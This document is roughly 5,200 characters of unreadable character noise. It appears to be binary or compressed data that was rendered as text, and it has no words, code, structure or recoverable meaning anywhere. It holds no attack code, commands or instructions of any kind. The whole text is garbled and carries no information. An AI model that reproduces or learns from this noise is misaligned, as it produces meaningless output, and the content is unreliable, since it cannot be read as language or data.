8<+~[֬]poV%v pzg639{Rr81^{qo 92|ܬ}r=;zC*|+[zۣaS&쭬&C[ȼ3`RL9{j?KaWZVm6E}{X~? z~8ˢ 39~}~u-"cm9s kx]:[[yhw"BN v$ y9@" v[Ƽ* zSd~xvLTT"7j +tCP5:= /"ig#7ki' x9#}}ano!KDl('S?c_;`Ū3 9oW9g!Zk:p6[Uwxnq}qqFesS[;tj~]<:~!x,}V&"AP?&vIF8~SR̬`*:qxA-La-"i g|*px F:n~˯޼BRQC`5*]Q >:*D(cX( FL0`;5R|G#3`0+mѬn ޣ &0❬0 S&{t?ʯ(__`5XY[|Q `2:sO* <+:Mka&ij ƫ?Scun]I: 砯[&xn;6>}'`I0N}z5r\0s^Ml%M$F"jZek 2"Fq`~5+ҤQ G9 q=cᶡ/Ƥ[ iK """p;`tMt}+@dy3mՏzc0 yq~ 45[_]R{]UZp^[& Osz~I btΪ\yaU;Ct*IFF3`"c 1~YD&U \oRa !c[[G}P7 zn>3,=lUENR[_9 SJMyE}x,bpAdcRW9?[H$p"#^9O88zO=!Yy91 ڻM?M#C&nJp#~ G ekϵo_~xuΨQt۲:W6oyFQr $k9ڼs67\myFTK;[ld7ya` eY~q[&vMF}p3gW!8Vn:a/ ,i|R,`!W}1Ӿx~x XZG\vR~sӭ&{]Q~9ʡH~"5 -&U+g j~륢N=Jfd 9BfI nZ8wЮ~a=3x+/l`?"#8-S\pqTZXt%&#` ~{p{m>ycP0(R^} (y%m}kB1Ѯ,#Q)!o1T*}9y< b04H. 9`>}ga `~)\oBRaLSg$IZ~%8)Rcu9b%)S 4ֺ}Z/[H%v#x b t{gn=i%]ܧ! wSp V?5cb_`znxKJ=WT9qx"qzWUNN/O^xe|k{4V^~Gz|[31 rpjgn 0}k90ne+"VbrO]'0oxh`*!T$d/$~N>Wq&Z9O\1o&,-z ~^NCgN)ʩ70'_Eh u*K9.-v<h$W%~g-G~>ZIa+(aM #9l%c  xKGx|"O:8qcyNJyRTj&Omztj ?KaXLebt~A`GBA":g,h`q` e~+[YjWH?N>X<5ǩѼM8cܪX}^r?IrS"Zm:"57u&|" >[XHeS$Ryଠ:2|Df? ZPDC(x0|R;Ms Vi,͹:xi`,GAlVFY:=29n~@yW~eN ]_Go'}э_ЯR66!: gFM~q; eX<#%A0R } G&x&?ZƱkeR Knz`9j%@qR[-$u&9zOJKad"[jײc;&B(g<9nȯGxP.fF}P 31 R}<3a~ 2xV Dr \:}#S}HI\OKuI (GW 񳹸2:9%_3N|0}y lMZT [/9 n3 Mòdd^.}:BNp>czí Y%-*9ܭhRcd,. V`e n/=9xGQKx|b`D@2R 8'} }+D&"R}r22 Ƿs]x9%<({e:Hqǽ`}Ka9ı< ~ O#%iKKlF)'I+(`Sd` "c^ i\hBaq}:W|F BReax-sʬ:W<%$ %CD%Iʤ&Ra0}nxoW0ey'Ża2r# ۰A^9Q=5.(M$~V=SFNW H~kR9+~;khIm9aJ_Z"6 a>a<%2nbQ`\tU 9k15uCL$ݹp P1=Os^uEJx5zy:j:k OcnW;boz{~Vơaa5ksJ@?1{$=ks^nR)XN1OJxFh R"}?xSac*FSi;7~׫3 pw0<%~ P+^ Ye}CR/>>"m~&&>M[h [}"d&RO@3^(ʽ*QZy 1V}?O4Rh6R a3߷ =mR/90CI:c}s۾"xЬˢW$"{PG xZ1R0xE9+ ^rE`70l@.' }zN3U<3*? "c=p '1"kJ H'x+ oN9 d~c+jJz7(W]""?n괺6wN"Z`~:|??-E&®V$~X/& xL7pz^tY78Ue# #r=sU/EjRC4mxNݴ9 u:V ZIcr1xpzsfV9`qLI?\~ChOOmtעxZ}?S#b-X7 g~zzb3Sm*qvsM=w}&ڪ^׵(! ֵen QYSLSNk!/n00vRwSa9-V`[$`(9cq_@Bq`捭0;79?w<|k1 һlnrPNa&} ~-_O'0`!R%]%b1' X՝OR9+*"0O `uaӫ9ԥSy.ox x&(STݽ]Nr3~["veIGlq=M|gsxI6 ]ZΪ,zR}~#`F"iqcD>S G}1^+ i;Vi-Z]ܮ` b٥_/y(@qg W0.: 6 r>QR0+zb+I0TbN"$~)69{0V27SWWccXyKZc'iQLaW`xS\`źʸ&|V|!G[[ 3OrPY=15T~я 64/?Z~k}o፾}3]8濴n}a_6pS)2?WڥiWd}q{*1rXRd&m0cd"J# ,df8Nh;=7pn 6J~O2^S J:6ܷ0!wbO P=:-&} ` 9 r9ϧz> X75XkrѢL 7w}xNHR:2 +uN/'~h!nReQ6Q Ew|Yq1uyz8 `;6i<'[íZhu g>r`x}b2k꣧o~:hTW4|ki"xQ6Ln0 {e#27@^.1NSy e Q=̩B8<Scc> .Fr:~G=k,^!F~ ,}% "rGSYd?aY49PyU !~xm|/NܼPcT,/=Fk|u&{m]۾P>X޽i 0'6߼( !z^:S|,_&a]uѵ4jb~xƩ:,[ = R Y?}ڼ?x,1دv&@q Sz8Xz~"j=} ~h@'hF#p?xQ-lvpxcx&lxG·0L%y?-y`l7>q2A?"F}c!jB:J +Qv=Vu[Qml%R7aIT}x ? a7 1 -Ll}0O=up"3ҶW/!|w}w^qa M8Q?0IEhaX"`a ?!Q!R~q}~O`I0 Jy|!@99>8+u&! ʰ<6Iz S)Z_POw*nm=>Jh]&@nTR6IT ^Fx73!ַa$ 5Io:ȪmY[80*x"k+\ Ho}l"k, c{Z\ Q pz}3} JXOh٥LdR`6G^^[bYRʻd}4  2,; CQĴcmV{W\xx,MRl-n~ ?#}"SҥWN;~)"S9cLj뵿ūikiX7yny} t`V's$9:{wEk c$.~k}AprѢ!`lSs90IÝw&ef"pR9g}Tl} NkUK0Up ^ȥ{Hp`bqϩ^: }' Mz+5x('C$_I?^'z~+-}*?.x^1}My¸&L7&' bqG]˪1$oR8`.q}s־C98cvSfuַ _ۺxר:גxP-/mnQG`Rq=>nr!h`+;3<۩axx*Vtiwi |cRϮ3ֽ̰0 QroZѫO൯w8;k: x ;Ja;9R+g}|I{o2ʲ9 029L\0xb "Bv$&#i>=f N >NXW~5\0^(w2}X$ e888^n^ 9Q~7 DCѵs9W6!2\:?(#'$GJW\ 0E"g;Pv Nsx"}/:t+]JM*"^Ud|0M923"6H^&1oE.7*Htp{g<+cpby=8_skB\j""[9Pb9B& =93LaaXdP.0\0?"J" "S+=@9<AQ׻աxk",J$S}xZWH"UQ ]Xg< ߨg3-qe0*R$ܒ S8}_/e'+-Ӷ[sk%x0-peCr ϒ~=a(QWd\. \F0M>grq+SNHO  ܥݭnJ|P6Kc=Is} Ga)a=#vK:oKٍ&R[sټˏ" pwqSR 9!KS&vD A9 Rq} $SnIV[]}A |k|E Mu R.Idk}yvc iUSZ&zn*j-ɭ/SH\y5 ۠"0 xnz#ԯ, eŴ'c&<ݬ<S`kâna8=ʪ[x"pN02zK8.(v2@ ~xfuyUWa|:%Q^[|o5ZY"^{96Yv*x>_|UִtM9P## z/0-įdd,:p03S{9=+ ![!#="յjHh:[{?.u_%ccA }0x9>~9,ah2 Ary$VN ]=$} #1dMax!^!Kk FN8+{Ҽo[MRoe[_m/k.kg}xsSӴ`zKo0cPC9Y0#^9x˷`09;=aAkNBlcF 2Ҭ]K$ܮ"/H$ fO贵jN̿ xNFdhT9}A>qStһ\ȶc3@#I W.<ѬaA ; q2q $# ! !}9=;Ru+ϥe+$娯'+ZH4qFV9gR208)б>M|¾"i9Jd"O;sr+)DRaF*3d {zwQU~f ~>I+Rq`3Sf]STn4_*5azGC,+1òOcSb2y;cգh:`rNBk gxaX/hx*Tn = 2|(e$ x!'y+S=Y:i -BK":ơ&v-Y=Onjyf4T P`S7={m/ ZK&GbG AS*ÿ IoINU8Rw; 1Y "E Oyto/8~#ñl2f'h?CYd:qӷeĩ RL+~A3g=aRt3 QREw_;haSir ^i!|ROmJ/$lӿ [` >cF61 z7Ldxw9AXO"hm"NT I$pG~:bWS|n>Ϣܢ"%qL^ KpNA< &==ffF!yc $=ϭY]eDH>x_TP"a0ch['7a!?wn5u|c{O1"xsZ&y32  ~AcO45-fR. s~"Ҿ"wo\lxP Xc S5q/>#~Wif$\3 }<9H" ( : 8=+ꨬUAT]{msF0\}&BO}+:x1 ,v ~IZ0ǧ"3 20p9~)Zoq/L Rm}9[#\Bs [; g2SV/[u /a} =xHx." Qxh#a$'u<`:>2>+LSiwF1!eg`S }Vv $|,szΒxD\Rm o| :{Ӷn!0l, ( RR crsa,49MOH!@ }`9w;At0&.클5,u-cKӣ̺U.L0&%2"~x [`cnH}y"keRF{(ة `J#}wg<:;M ^\yhX!vBzrF?B/s<B)۱ w5:se{mѤh]Wm4W4bC3r$ pw`dzt!y`IhM)!edRm'>?wzKcRq6fp$)wUl`ARAgr:Rg[iYs5GK=FMG ``KɦuOQ!R/G`@qzd/(K%}bM x>RRVIY~#"@8 Sgq54v[(q c!FGa? UWZ$y}zק?>"6{""}.$`US& ' r$1(y7 V<~:  Mw'bxb7g~,iF8½k/{!2S/?:$eSRIRg9czrrNObi Ѻ/$,;R vxb" nmxn}3G,.٣u r`[<!@:c9Zh M5-q}G9 ;A-~v^ONxE}PO&e[]Gp /˷81~@B*8@p"8Q~H'8I-% F6U|ڸ ^w`K1K,}ddl0PkG&Uw};y[Zs"["6 Vq,# 8ryA::,c66˴'?t}H--":|Ƭ[  7#99$,+qS\ cy^ݸa"B-9%׮9Vw~vTꢷ%" [x"2gS?6 9#a@bTC*3BA9 =U"2l0iIc2@%94'HԾ@ Tpax::5eMw:_+a3yv " 1Gȫ#  p JvaDE: NFr2qxAau"#Ħ822/[Tr;q`z*(0 ;T:; Skޭ8U{^IZwkXZo_oȡ R2S SVa DRsx|2 [9zs{wnmCO+ GO8e`^G5f{X~,k0< y"vo I=S19)R#;Anc}:t#TkB.0R-Zgum}fJ+#2P~i%S3P*YA}2r:iRUQq0H9!={~ J}Vײm.ߺiYlkgLrT" &wH6`34e &L"%clyîA0 ~$[3u"pNO=  c{rYK ~F "a"Lr1ӯ2<"C".fջ~-g4{[r}xlqpwǻ8rF \c}-gycirw#o95afxfGusJ S/LtT7w,l ɳ;e෨RsgTS^ '~9:+kZd*[ܫ%Rk0}X$k#Ȩ P2bvx"b)m$*8LE8'N y+{uI'wva4fr=u sFlV$ Hс$ =}] :}+"mRlT#nki _T7θd\8=y}R{x]Z#r#H6 Fkr;s.&;s 9HSaխtU-n | vqS{gRtS.P9}0_[;mޭZRX{+"-7!G"9~nrYXp S!ӭoP̏t (0޹s#GLanJ!T#?p}xIn#y'q@r[J&qP}:7^0yWa_79oa #q0{mSyR{v޶eХ̮jR ":b+J y"]d OL9-Rc'SڲejP  qdВjPpa` <iWNsmvz5:Rs\u